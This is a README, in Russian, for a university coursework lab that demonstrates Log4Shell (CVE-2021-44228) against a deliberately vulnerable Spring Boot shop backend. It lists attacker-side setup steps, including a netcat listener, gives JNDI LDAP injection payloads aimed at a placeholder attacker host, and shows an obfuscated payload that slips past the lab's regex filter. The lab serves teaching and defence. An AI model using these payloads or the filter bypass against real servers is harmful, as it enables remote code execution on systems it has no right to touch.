TPAS Log4Shell PoC

Этот репозиторий содержит доказательство концепции (PoC) уязвимости Log4Shell (CVE-2021-44228), разработанное в рамках курсовой работы по дисциплине TPAS магистерской программы по информационной безопасности в FCUP.

Он включает:

• Фронтенд на React SPA, имитирующий типичный интернет-магазин с базовыми функциями, такими как просмотр товаров и их основных характеристик (описание, цена, рейтинг и т.д.), данные предоставляются через фиктивное JSON API https://dummyjson.com/docs/products
• Бэкенд на Spring Boot REST API, использующий уязвимую версию Log4j 2.14.
• Bash-скрипт, настраивающий большую часть атакующей инфраструктуры, необходимой для эксплуатации Log4Shell.

Для запуска этого стека необходимо:

• На хосте-цели:
  • Установите Docker
  • Замените <target_ip> в переменной окружения NEXT_PUBLIC_BACKEND_URL в файле docker-compose.yaml
  • Выполните docker-compose up
• На хосте атакующего:
  • Установите Java, Python и Maven
  • Откройте необходимые порты, выполните "./init.sh --help", чтобы увидеть, какие порты требуются и что делает скрипт
  • Запустите скрипт init.sh
  • Запустите netcat слушатель: nc -lvnp

Когда всё запущено:

Поместите эту полезную нагрузку в строку поиска (URL-кодированную, так как она будет передана в GET-параметре запроса):

%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D

Или поместите эту полезную нагрузку в заголовки запроса (вы можете использовать Burp Suite для перехвата и изменения запроса):

${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}

На сайте рядом с именем пользователя есть значок, позволяющий переключать санитацию (очистку) логируемой строки с помощью регулярного выражения \$\{jndi:.*?} или отключать её. По умолчанию санитация отключена, что обозначается красным значком демона. При включении санитации значок меняется на зелёное смайлик.

Эту функцию можно использовать для имитации обхода WAF; вы можете добавить больше регулярных выражений в класс LoggerManager.java на бэкенде.

Вот полезная нагрузка, которая не будет обнаружена текущим регулярным выражением:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}